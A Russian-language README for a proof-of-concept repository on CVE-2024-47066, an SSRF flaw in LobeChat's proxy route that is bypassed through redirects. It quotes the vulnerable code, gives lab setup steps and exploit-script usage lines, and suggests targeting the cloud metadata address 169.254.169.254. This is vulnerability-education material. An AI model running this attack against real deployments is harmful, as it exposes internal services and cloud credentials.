
Эксплойт-доказательство концепции для CVE-2024-47066, уязвимости подделки серверных запросов (SSRF) в LobeChat, которая обходит ограничения на основе IP-адресов через перенаправления для доступа к внутренним ресурсам.
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat — это фреймворк чата с открытым исходным кодом на основе искусственного интеллекта. До версии 1.19.13 защита от подделки серверных запросов (SSRF), реализованная в src/app/api/proxy/route.ts, не учитывала перенаправления и могла быть обойдена, когда злоумышленник предоставляет внешний вредоносный URL-адрес, который перенаправляет на внутренние ресурсы, такие как частная сеть или loopback-адрес. Версия 1.19.13 содержит улучшенное исправление этой проблемы.
Автор отчёта: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Внешний) LodeChat --> SSRF-атака --> (Внутренний) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
Ниже строки 26 нет проверки ответа с перенаправлением. Поэтому, используя сокращатель URL, можно легко обойти функцию "isPrivate()".
Выполните запрос к http://169.254.169.254
Этот репозиторий не предназначен для эксплуатации SSRF в CVE-2024-47066. Цель этого проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения.